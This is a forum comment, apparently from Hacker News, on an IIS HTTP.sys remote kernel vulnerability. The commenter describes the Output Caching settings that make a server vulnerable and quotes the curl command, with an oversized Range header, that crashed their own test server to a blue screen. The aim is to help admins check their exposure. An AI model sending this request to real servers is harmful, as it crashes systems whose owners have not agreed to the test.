I managed to crash our servers by going to IIS Management, select the website I wanted to test, go to Output Caching, enable the feature AND also add a rule (I added a rule for .png just to test). If you have NO rules it is the same as having the feature disabled so you are safe. If you add a rule and check &amp;quot;Enable Kernal Caching&amp;quot; you are vulnerable!&lt;p&gt;EDIT 2 : As some have asked, this is the command I used to crash our test server. I tested it after having created a new Output Caching rule to cache all .png files in kernel mode.&lt;p&gt;curl -v &lt;a href=&quot;http:&amp;#x2F;&amp;#x2F;example.com&amp;#x2F;image.png&quot; rel=&quot;nofollow&quot;&gt;http:&amp;#x2F;&amp;#x2F;example.com&amp;#x2F;image.png&lt;/a&gt; -H &amp;quot;Range: bytes=18-18446744073709551615&amp;quot;&lt;p&gt;I didn&amp;#x27;t take a screenshot of the BSOD and I don&amp;#x27;t plan on crashing our test env a second time today because people are using it (I tested it early enough that not a lot of people were at the office yet).</text></item></parent_chain></comment><story><title>Remote Kernel Code Execution Via HTTP Request In IIS On Windows</title><url>https://ma.ttias.be/remote-code-execution-via-http-request-in-iis-on-windows/?hn</url></story>
